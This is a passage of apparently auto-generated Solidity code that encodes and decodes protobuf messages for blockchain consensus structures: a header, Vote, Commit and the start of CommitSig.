pointer += BlockID._encode_nested(r.last_block_id, pointer, bs);
if (r.last_commit_hash.length != 0) {
pointer += ProtoBufRuntime._encode_key(
6,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += ProtoBufRuntime._encode_bytes(r.last_commit_hash, pointer, bs);
}
if (r.data_hash.length != 0) {
pointer += ProtoBufRuntime._encode_key(
7,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += ProtoBufRuntime._encode_bytes(r.data_hash, pointer, bs);
}
if (r.validators_hash.length != 0) {
pointer += ProtoBufRuntime._encode_key(
8,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += ProtoBufRuntime._encode_bytes(r.validators_hash, pointer, bs);
}
if (r.next_validators_hash.length != 0) {
pointer += ProtoBufRuntime._encode_key(
9,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += ProtoBufRuntime._encode_bytes(r.next_validators_hash, pointer, bs);
}
if (r.consensus_hash.length != 0) {
pointer += ProtoBufRuntime._encode_key(
10,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += ProtoBufRuntime._encode_bytes(r.consensus_hash, pointer, bs);
}
if (r.app_hash.length != 0) {
pointer += ProtoBufRuntime._encode_key(
11,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += ProtoBufRuntime._encode_bytes(r.app_hash, pointer, bs);
}
if (r.last_results_hash.length != 0) {
pointer += ProtoBufRuntime._encode_key(
12,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += ProtoBufRuntime._encode_bytes(r.last_results_hash, pointer, bs);
}
if (r.evidence_hash.length != 0) {
pointer += ProtoBufRuntime._encode_key(
13,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += ProtoBufRuntime._encode_bytes(r.evidence_hash, pointer, bs);
}
if (r.proposer_address.length != 0) {
pointer += ProtoBufRuntime._encode_key(
14,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += ProtoBufRuntime._encode_bytes(r.proposer_address, pointer, bs);
}
return pointer - offset;
}
// nested encoder
/**
* @dev The encoder for inner struct
* @param r The struct to be encoded
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The number of bytes encoded
*/
function _encode_nested(Data memory r, uint256 p, bytes memory bs)
internal
pure
returns (uint)
{
/**
* First encoded `r` into a temporary array, and encode the actual size used.
* Then copy the temporary array into `bs`.
*/
uint256 offset = p;
uint256 pointer = p;
bytes memory tmp = new bytes(_estimate(r));
uint256 tmpAddr = ProtoBufRuntime.getMemoryAddress(tmp);
uint256 bsAddr = ProtoBufRuntime.getMemoryAddress(bs);
uint256 size = _encode(r, 32, tmp);
pointer += ProtoBufRuntime._encode_varint(size, pointer, bs);
ProtoBufRuntime.copyBytes(tmpAddr + 32, bsAddr + pointer, size);
pointer += size;
delete tmp;
return pointer - offset;
}
// estimator
/**
* @dev The estimator for a struct
* @param r The struct to be encoded
* @return The number of bytes encoded in estimation
*/
function _estimate(
Data memory r
) internal pure returns (uint) {
uint256 e;
e += 1 + ProtoBufRuntime._sz_lendelim(Consensus._estimate(r.version));
e += 1 + ProtoBufRuntime._sz_lendelim(bytes(r.chain_id).length);
e += 1 + ProtoBufRuntime._sz_int64(r.height);
e += 1 + ProtoBufRuntime._sz_lendelim(Timestamp._estimate(r.time));
e += 1 + ProtoBufRuntime._sz_lendelim(BlockID._estimate(r.last_block_id));
e += 1 + ProtoBufRuntime._sz_lendelim(r.last_commit_hash.length);
e += 1 + ProtoBufRuntime._sz_lendelim(r.data_hash.length);
e += 1 + ProtoBufRuntime._sz_lendelim(r.validators_hash.length);
e += 1 + ProtoBufRuntime._sz_lendelim(r.next_validators_hash.length);
e += 1 + ProtoBufRuntime._sz_lendelim(r.consensus_hash.length);
e += 1 + ProtoBufRuntime._sz_lendelim(r.app_hash.length);
e += 1 + ProtoBufRuntime._sz_lendelim(r.last_results_hash.length);
e += 1 + ProtoBufRuntime._sz_lendelim(r.evidence_hash.length);
e += 1 + ProtoBufRuntime._sz_lendelim(r.proposer_address.length);
return e;
}
// empty checker
function _empty(
Data memory r
) internal pure returns (bool) {
if (bytes(r.chain_id).length != 0) {
return false;
}
if (r.height != 0) {
return false;
}
if (r.last_commit_hash.length != 0) {
return false;
}
if (r.data_hash.length != 0) {
return false;
}
if (r.validators_hash.length != 0) {
return false;
}
if (r.next_validators_hash.length != 0) {
return false;
}
if (r.consensus_hash.length != 0) {
return false;
}
if (r.app_hash.length != 0) {
return false;
}
if (r.last_results_hash.length != 0) {
return false;
}
if (r.evidence_hash.length != 0) {
return false;
}
if (r.proposer_address.length != 0) {
return false;
}
return true;
}
//store function
/**
* @dev Store in-memory struct to storage
* @param input The in-memory struct
* @param output The in-storage struct
*/
function store(Data memory input, Data storage output) internal {
Consensus.store(input.version, output.version);
output.chain_id = input.chain_id;
output.height = input.height;
Timestamp.store(input.time, output.time);
BlockID.store(input.last_block_id, output.last_block_id);
output.last_commit_hash = input.last_commit_hash;
output.data_hash = input.data_hash;
output.validators_hash = input.validators_hash;
output.next_validators_hash = input.next_validators_hash;
output.consensus_hash = input.consensus_hash;
output.app_hash = input.app_hash;
output.last_results_hash = input.last_results_hash;
output.evidence_hash = input.evidence_hash;
output.proposer_address = input.proposer_address;
}
//utility functions
/**
* @dev Return an empty struct
* @return r The empty struct
*/
function nil() internal pure returns (Data memory r) {
assembly {
r := 0
}
}
/**
* @dev Test whether a struct is empty
* @param x The struct to be tested
* @return r True if it is empty
*/
function isNil(Data memory x) internal pure returns (bool r) {
assembly {
r := iszero(x)
}
}
}
//library TmHeader
library Vote {
//struct definition
struct Data {
TYPES_PROTO_GLOBAL_ENUMS.SignedMsgType typ;
int64 height;
int64 round;
BlockID.Data block_id;
Timestamp.Data timestamp;
bytes validator_address;
int64 validator_index;
bytes signature;
}
// Decoder section
/**
* @dev The main decoder for memory
* @param bs The bytes array to be decoded
* @return The decoded struct
*/
function decode(bytes memory bs) internal pure returns (Data memory) {
(Data memory x, ) = _decode(32, bs, bs.length);
return x;
}
/**
* @dev The main decoder for storage
* @param self The in-storage struct
* @param bs The bytes array to be decoded
*/
function decode(Data storage self, bytes memory bs) internal {
(Data memory x, ) = _decode(32, bs, bs.length);
store(x, self);
}
// inner decoder
/**
* @dev The decoder for internal usage
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param sz The number of bytes expected
* @return The decoded struct
* @return The number of bytes decoded
*/
function _decode(uint256 p, bytes memory bs, uint256 sz)
internal
pure
returns (Data memory, uint)
{
Data memory r;
uint[9] memory counters;
uint256 fieldId;
ProtoBufRuntime.WireType wireType;
uint256 bytesRead;
uint256 offset = p;
uint256 pointer = p;
while (pointer < offset + sz) {
(fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs);
pointer += bytesRead;
if (fieldId == 1) {
pointer += _read_typ(pointer, bs, r, counters);
}
else if (fieldId == 2) {
pointer += _read_height(pointer, bs, r, counters);
}
else if (fieldId == 3) {
pointer += _read_round(pointer, bs, r, counters);
}
else if (fieldId == 4) {
pointer += _read_block_id(pointer, bs, r, counters);
}
else if (fieldId == 5) {
pointer += _read_timestamp(pointer, bs, r, counters);
}
else if (fieldId == 6) {
pointer += _read_validator_address(pointer, bs, r, counters);
}
else if (fieldId == 7) {
pointer += _read_validator_index(pointer, bs, r, counters);
}
else if (fieldId == 8) {
pointer += _read_signature(pointer, bs, r, counters);
}
else {
if (wireType == ProtoBufRuntime.WireType.Fixed64) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed64(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Fixed32) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed32(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Varint) {
uint256 size;
(, size) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.LengthDelim) {
uint256 size;
(, size) = ProtoBufRuntime._decode_lendelim(pointer, bs);
pointer += size;
}
}
}
return (r, sz);
}
// field readers
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_typ(
uint256 p,
bytes memory bs,
Data memory r,
uint[9] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(int64 tmp, uint256 sz) = ProtoBufRuntime._decode_enum(p, bs);
TYPES_PROTO_GLOBAL_ENUMS.SignedMsgType x = TYPES_PROTO_GLOBAL_ENUMS.decode_SignedMsgType(tmp);
if (isNil(r)) {
counters[1] += 1;
} else {
r.typ = x;
if(counters[1] > 0) counters[1] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_height(
uint256 p,
bytes memory bs,
Data memory r,
uint[9] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(int64 x, uint256 sz) = ProtoBufRuntime._decode_int64(p, bs);
if (isNil(r)) {
counters[2] += 1;
} else {
r.height = x;
if (counters[2] > 0) counters[2] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_round(
uint256 p,
bytes memory bs,
Data memory r,
uint[9] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(int64 x, uint256 sz) = ProtoBufRuntime._decode_int64(p, bs);
if (isNil(r)) {
counters[3] += 1;
} else {
r.round = x;
if (counters[3] > 0) counters[3] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_block_id(
uint256 p,
bytes memory bs,
Data memory r,
uint[9] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(BlockID.Data memory x, uint256 sz) = _decode_BlockID(p, bs);
if (isNil(r)) {
counters[4] += 1;
} else {
r.block_id = x;
if (counters[4] > 0) counters[4] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_timestamp(
uint256 p,
bytes memory bs,
Data memory r,
uint[9] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(Timestamp.Data memory x, uint256 sz) = _decode_Timestamp(p, bs);
if (isNil(r)) {
counters[5] += 1;
} else {
r.timestamp = x;
if (counters[5] > 0) counters[5] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_validator_address(
uint256 p,
bytes memory bs,
Data memory r,
uint[9] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(bytes memory x, uint256 sz) = ProtoBufRuntime._decode_bytes(p, bs);
if (isNil(r)) {
counters[6] += 1;
} else {
r.validator_address = x;
if (counters[6] > 0) counters[6] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_validator_index(
uint256 p,
bytes memory bs,
Data memory r,
uint[9] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(int64 x, uint256 sz) = ProtoBufRuntime._decode_int64(p, bs);
if (isNil(r)) {
counters[7] += 1;
} else {
r.validator_index = x;
if (counters[7] > 0) counters[7] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_signature(
uint256 p,
bytes memory bs,
Data memory r,
uint[9] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(bytes memory x, uint256 sz) = ProtoBufRuntime._decode_bytes(p, bs);
if (isNil(r)) {
counters[8] += 1;
} else {
r.signature = x;
if (counters[8] > 0) counters[8] -= 1;
}
return sz;
}
// struct decoder
/**
* @dev The decoder for reading a inner struct field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The decoded inner-struct
* @return The number of bytes used to decode
*/
function _decode_BlockID(uint256 p, bytes memory bs)
internal
pure
returns (BlockID.Data memory, uint)
{
uint256 pointer = p;
(uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += bytesRead;
(BlockID.Data memory r, ) = BlockID._decode(pointer, bs, sz);
return (r, sz + bytesRead);
}
/**
* @dev The decoder for reading a inner struct field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The decoded inner-struct
* @return The number of bytes used to decode
*/
function _decode_Timestamp(uint256 p, bytes memory bs)
internal
pure
returns (Timestamp.Data memory, uint)
{
uint256 pointer = p;
(uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += bytesRead;
(Timestamp.Data memory r, ) = Timestamp._decode(pointer, bs, sz);
return (r, sz + bytesRead);
}
// Encoder section
/**
* @dev The main encoder for memory
* @param r The struct to be encoded
* @return The encoded byte array
*/
function encode(Data memory r) internal pure returns (bytes memory) {
bytes memory bs = new bytes(_estimate(r));
uint256 sz = _encode(r, 32, bs);
assembly {
mstore(bs, sz)
}
return bs;
}
// inner encoder
/**
* @dev The encoder for internal usage
* @param r The struct to be encoded
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The number of bytes encoded
*/
function _encode(Data memory r, uint256 p, bytes memory bs)
internal
pure
returns (uint)
{
uint256 offset = p;
uint256 pointer = p;
if (uint(r.typ) != 0) {
pointer += ProtoBufRuntime._encode_key(
1,
ProtoBufRuntime.WireType.Varint,
pointer,
bs
);
int32 _enum_typ = TYPES_PROTO_GLOBAL_ENUMS.encode_SignedMsgType(r.typ);
pointer += ProtoBufRuntime._encode_enum(_enum_typ, pointer, bs);
}
if (r.height != 0) {
pointer += ProtoBufRuntime._encode_key(
2,
ProtoBufRuntime.WireType.Varint,
pointer,
bs
);
pointer += ProtoBufRuntime._encode_int64(r.height, pointer, bs);
}
if (r.round != 0) {
pointer += ProtoBufRuntime._encode_key(
3,
ProtoBufRuntime.WireType.Varint,
pointer,
bs
);
pointer += ProtoBufRuntime._encode_int64(r.round, pointer, bs);
}
pointer += ProtoBufRuntime._encode_key(
4,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += BlockID._encode_nested(r.block_id, pointer, bs);
pointer += ProtoBufRuntime._encode_key(
5,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += Timestamp._encode_nested(r.timestamp, pointer, bs);
if (r.validator_address.length != 0) {
pointer += ProtoBufRuntime._encode_key(
6,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += ProtoBufRuntime._encode_bytes(r.validator_address, pointer, bs);
}
if (r.validator_index != 0) {
pointer += ProtoBufRuntime._encode_key(
7,
ProtoBufRuntime.WireType.Varint,
pointer,
bs
);
pointer += ProtoBufRuntime._encode_int64(r.validator_index, pointer, bs);
}
if (r.signature.length != 0) {
pointer += ProtoBufRuntime._encode_key(
8,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += ProtoBufRuntime._encode_bytes(r.signature, pointer, bs);
}
return pointer - offset;
}
// nested encoder
/**
* @dev The encoder for inner struct
* @param r The struct to be encoded
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The number of bytes encoded
*/
function _encode_nested(Data memory r, uint256 p, bytes memory bs)
internal
pure
returns (uint)
{
/**
* First encoded `r` into a temporary array, and encode the actual size used.
* Then copy the temporary array into `bs`.
*/
uint256 offset = p;
uint256 pointer = p;
bytes memory tmp = new bytes(_estimate(r));
uint256 tmpAddr = ProtoBufRuntime.getMemoryAddress(tmp);
uint256 bsAddr = ProtoBufRuntime.getMemoryAddress(bs);
uint256 size = _encode(r, 32, tmp);
pointer += ProtoBufRuntime._encode_varint(size, pointer, bs);
ProtoBufRuntime.copyBytes(tmpAddr + 32, bsAddr + pointer, size);
pointer += size;
delete tmp;
return pointer - offset;
}
// estimator
/**
* @dev The estimator for a struct
* @param r The struct to be encoded
* @return The number of bytes encoded in estimation
*/
function _estimate(
Data memory r
) internal pure returns (uint) {
uint256 e;
e += 1 + ProtoBufRuntime._sz_enum(TYPES_PROTO_GLOBAL_ENUMS.encode_SignedMsgType(r.typ));
e += 1 + ProtoBufRuntime._sz_int64(r.height);
e += 1 + ProtoBufRuntime._sz_int64(r.round);
e += 1 + ProtoBufRuntime._sz_lendelim(BlockID._estimate(r.block_id));
e += 1 + ProtoBufRuntime._sz_lendelim(Timestamp._estimate(r.timestamp));
e += 1 + ProtoBufRuntime._sz_lendelim(r.validator_address.length);
e += 1 + ProtoBufRuntime._sz_int64(r.validator_index);
e += 1 + ProtoBufRuntime._sz_lendelim(r.signature.length);
return e;
}
// empty checker
function _empty(
Data memory r
) internal pure returns (bool) {
if (uint(r.typ) != 0) {
return false;
}
if (r.height != 0) {
return false;
}
if (r.round != 0) {
return false;
}
if (r.validator_address.length != 0) {
return false;
}
if (r.validator_index != 0) {
return false;
}
if (r.signature.length != 0) {
return false;
}
return true;
}
//store function
/**
* @dev Store in-memory struct to storage
* @param input The in-memory struct
* @param output The in-storage struct
*/
function store(Data memory input, Data storage output) internal {
output.typ = input.typ;
output.height = input.height;
output.round = input.round;
BlockID.store(input.block_id, output.block_id);
Timestamp.store(input.timestamp, output.timestamp);
output.validator_address = input.validator_address;
output.validator_index = input.validator_index;
output.signature = input.signature;
}
//utility functions
/**
* @dev Return an empty struct
* @return r The empty struct
*/
function nil() internal pure returns (Data memory r) {
assembly {
r := 0
}
}
/**
* @dev Test whether a struct is empty
* @param x The struct to be tested
* @return r True if it is empty
*/
function isNil(Data memory x) internal pure returns (bool r) {
assembly {
r := iszero(x)
}
}
}
//library Vote
library Commit {
//struct definition
struct Data {
int64 height;
int64 round;
BlockID.Data block_id;
CommitSig.Data[] signatures;
}
// Decoder section
/**
* @dev The main decoder for memory
* @param bs The bytes array to be decoded
* @return The decoded struct
*/
function decode(bytes memory bs) internal pure returns (Data memory) {
(Data memory x, ) = _decode(32, bs, bs.length);
return x;
}
/**
* @dev The main decoder for storage
* @param self The in-storage struct
* @param bs The bytes array to be decoded
*/
function decode(Data storage self, bytes memory bs) internal {
(Data memory x, ) = _decode(32, bs, bs.length);
store(x, self);
}
// inner decoder
/**
* @dev The decoder for internal usage
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param sz The number of bytes expected
* @return The decoded struct
* @return The number of bytes decoded
*/
function _decode(uint256 p, bytes memory bs, uint256 sz)
internal
pure
returns (Data memory, uint)
{
Data memory r;
uint[5] memory counters;
uint256 fieldId;
ProtoBufRuntime.WireType wireType;
uint256 bytesRead;
uint256 offset = p;
uint256 pointer = p;
while (pointer < offset + sz) {
(fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs);
pointer += bytesRead;
if (fieldId == 1) {
pointer += _read_height(pointer, bs, r, counters);
}
else if (fieldId == 2) {
pointer += _read_round(pointer, bs, r, counters);
}
else if (fieldId == 3) {
pointer += _read_block_id(pointer, bs, r, counters);
}
else if (fieldId == 4) {
pointer += _read_signatures(pointer, bs, nil(), counters);
}
else {
if (wireType == ProtoBufRuntime.WireType.Fixed64) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed64(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Fixed32) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed32(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Varint) {
uint256 size;
(, size) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.LengthDelim) {
uint256 size;
(, size) = ProtoBufRuntime._decode_lendelim(pointer, bs);
pointer += size;
}
}
}
pointer = offset;
r.signatures = new CommitSig.Data[](counters[4]);
while (pointer < offset + sz) {
(fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs);
pointer += bytesRead;
if (fieldId == 1) {
pointer += _read_height(pointer, bs, nil(), counters);
}
else if (fieldId == 2) {
pointer += _read_round(pointer, bs, nil(), counters);
}
else if (fieldId == 3) {
pointer += _read_block_id(pointer, bs, nil(), counters);
}
else if (fieldId == 4) {
pointer += _read_signatures(pointer, bs, r, counters);
}
else {
if (wireType == ProtoBufRuntime.WireType.Fixed64) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed64(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Fixed32) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed32(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Varint) {
uint256 size;
(, size) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.LengthDelim) {
uint256 size;
(, size) = ProtoBufRuntime._decode_lendelim(pointer, bs);
pointer += size;
}
}
}
return (r, sz);
}
// field readers
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_height(
uint256 p,
bytes memory bs,
Data memory r,
uint[5] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(int64 x, uint256 sz) = ProtoBufRuntime._decode_int64(p, bs);
if (isNil(r)) {
counters[1] += 1;
} else {
r.height = x;
if (counters[1] > 0) counters[1] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_round(
uint256 p,
bytes memory bs,
Data memory r,
uint[5] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(int64 x, uint256 sz) = ProtoBufRuntime._decode_int64(p, bs);
if (isNil(r)) {
counters[2] += 1;
} else {
r.round = x;
if (counters[2] > 0) counters[2] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_block_id(
uint256 p,
bytes memory bs,
Data memory r,
uint[5] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(BlockID.Data memory x, uint256 sz) = _decode_BlockID(p, bs);
if (isNil(r)) {
counters[3] += 1;
} else {
r.block_id = x;
if (counters[3] > 0) counters[3] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_signatures(
uint256 p,
bytes memory bs,
Data memory r,
uint[5] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(CommitSig.Data memory x, uint256 sz) = _decode_CommitSig(p, bs);
if (isNil(r)) {
counters[4] += 1;
} else {
r.signatures[r.signatures.length - counters[4]] = x;
if (counters[4] > 0) counters[4] -= 1;
}
return sz;
}
// struct decoder
/**
* @dev The decoder for reading a inner struct field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The decoded inner-struct
* @return The number of bytes used to decode
*/
function _decode_BlockID(uint256 p, bytes memory bs)
internal
pure
returns (BlockID.Data memory, uint)
{
uint256 pointer = p;
(uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += bytesRead;
(BlockID.Data memory r, ) = BlockID._decode(pointer, bs, sz);
return (r, sz + bytesRead);
}
/**
* @dev The decoder for reading a inner struct field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The decoded inner-struct
* @return The number of bytes used to decode
*/
function _decode_CommitSig(uint256 p, bytes memory bs)
internal
pure
returns (CommitSig.Data memory, uint)
{
uint256 pointer = p;
(uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += bytesRead;
(CommitSig.Data memory r, ) = CommitSig._decode(pointer, bs, sz);
return (r, sz + bytesRead);
}
// Encoder section
/**
* @dev The main encoder for memory
* @param r The struct to be encoded
* @return The encoded byte array
*/
function encode(Data memory r) internal pure returns (bytes memory) {
bytes memory bs = new bytes(_estimate(r));
uint256 sz = _encode(r, 32, bs);
assembly {
mstore(bs, sz)
}
return bs;
}
// inner encoder
/**
* @dev The encoder for internal usage
* @param r The struct to be encoded
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The number of bytes encoded
*/
function _encode(Data memory r, uint256 p, bytes memory bs)
internal
pure
returns (uint)
{
uint256 offset = p;
uint256 pointer = p;
uint256 i;
if (r.height != 0) {
pointer += ProtoBufRuntime._encode_key(
1,
ProtoBufRuntime.WireType.Varint,
pointer,
bs
);
pointer += ProtoBufRuntime._encode_int64(r.height, pointer, bs);
}
if (r.round != 0) {
pointer += ProtoBufRuntime._encode_key(
2,
ProtoBufRuntime.WireType.Varint,
pointer,
bs
);
pointer += ProtoBufRuntime._encode_int64(r.round, pointer, bs);
}
pointer += ProtoBufRuntime._encode_key(
3,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += BlockID._encode_nested(r.block_id, pointer, bs);
if (r.signatures.length != 0) {
for(i = 0; i < r.signatures.length; i++) {
pointer += ProtoBufRuntime._encode_key(
4,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs)
;
pointer += CommitSig._encode_nested(r.signatures[i], pointer, bs);
}
}
return pointer - offset;
}
// nested encoder
/**
* @dev The encoder for inner struct
* @param r The struct to be encoded
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The number of bytes encoded
*/
function _encode_nested(Data memory r, uint256 p, bytes memory bs)
internal
pure
returns (uint)
{
/**
* First encoded `r` into a temporary array, and encode the actual size used.
* Then copy the temporary array into `bs`.
*/
uint256 offset = p;
uint256 pointer = p;
bytes memory tmp = new bytes(_estimate(r));
uint256 tmpAddr = ProtoBufRuntime.getMemoryAddress(tmp);
uint256 bsAddr = ProtoBufRuntime.getMemoryAddress(bs);
uint256 size = _encode(r, 32, tmp);
pointer += ProtoBufRuntime._encode_varint(size, pointer, bs);
ProtoBufRuntime.copyBytes(tmpAddr + 32, bsAddr + pointer, size);
pointer += size;
delete tmp;
return pointer - offset;
}
// estimator
/**
* @dev The estimator for a struct
* @param r The struct to be encoded
* @return The number of bytes encoded in estimation
*/
function _estimate(
Data memory r
) internal pure returns (uint) {
uint256 e;uint256 i;
e += 1 + ProtoBufRuntime._sz_int64(r.height);
e += 1 + ProtoBufRuntime._sz_int64(r.round);
e += 1 + ProtoBufRuntime._sz_lendelim(BlockID._estimate(r.block_id));
for(i = 0; i < r.signatures.length; i++) {
e += 1 + ProtoBufRuntime._sz_lendelim(CommitSig._estimate(r.signatures[i]));
}
return e;
}
// empty checker
function _empty(
Data memory r
) internal pure returns (bool) {
if (r.height != 0) {
return false;
}
if (r.round != 0) {
return false;
}
if (r.signatures.length != 0) {
return false;
}
return true;
}
//store function
/**
* @dev Store in-memory struct to storage
* @param input The in-memory struct
* @param output The in-storage struct
*/
function store(Data memory input, Data storage output) internal {
output.height = input.height;
output.round = input.round;
BlockID.store(input.block_id, output.block_id);
for(uint256 i4 = 0; i4 < input.signatures.length; i4++) {
output.signatures.push(input.signatures[i4]);
}
}
//array helpers for Signatures
/**
* @dev Add value to an array
* @param self The in-memory struct
* @param value The value to add
*/
function addSignatures(Data memory self, CommitSig.Data memory value) internal pure {
/**
* First resize the array. Then add the new element to the end.
*/
CommitSig.Data[] memory tmp = new CommitSig.Data[](self.signatures.length + 1);
for (uint256 i = 0; i < self.signatures.length; i++) {
tmp[i] = self.signatures[i];
}
tmp[self.signatures.length] = value;
self.signatures = tmp;
}
//utility functions
/**
* @dev Return an empty struct
* @return r The empty struct
*/
function nil() internal pure returns (Data memory r) {
assembly {
r := 0
}
}
/**
* @dev Test whether a struct is empty
* @param x The struct to be tested
* @return r True if it is empty
*/
function isNil(Data memory x) internal pure returns (bool r) {
assembly {
r := iszero(x)
}
}
}
//library Commit
library CommitSig {
//struct definition
struct Data {
TYPES_PROTO_GLOBAL_ENUMS.BlockIDFlag block_id_flag;
bytes validator_address;
Timestamp.Data timestamp;
bytes signature;
}
// Decoder section
/**
* @dev The main decoder for memory
* @param bs The bytes array to be decoded
* @return The decoded struct
*/
function decode(bytes memory bs) internal pure returns (Data memory) {
(Data memory x, ) = _decode(32, bs, bs.length);
return x;
}
/**
* @dev The main decoder for storage
* @param self The in-storage struct
* @param bs The bytes array to be decoded
*/
function decode(Data storage self, bytes memory bs) internal {
(Data memory x, ) = _decode(32, bs, bs.length);
store(x, self);
}
// inner decoder
/**
* @dev The decoder for internal usage
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
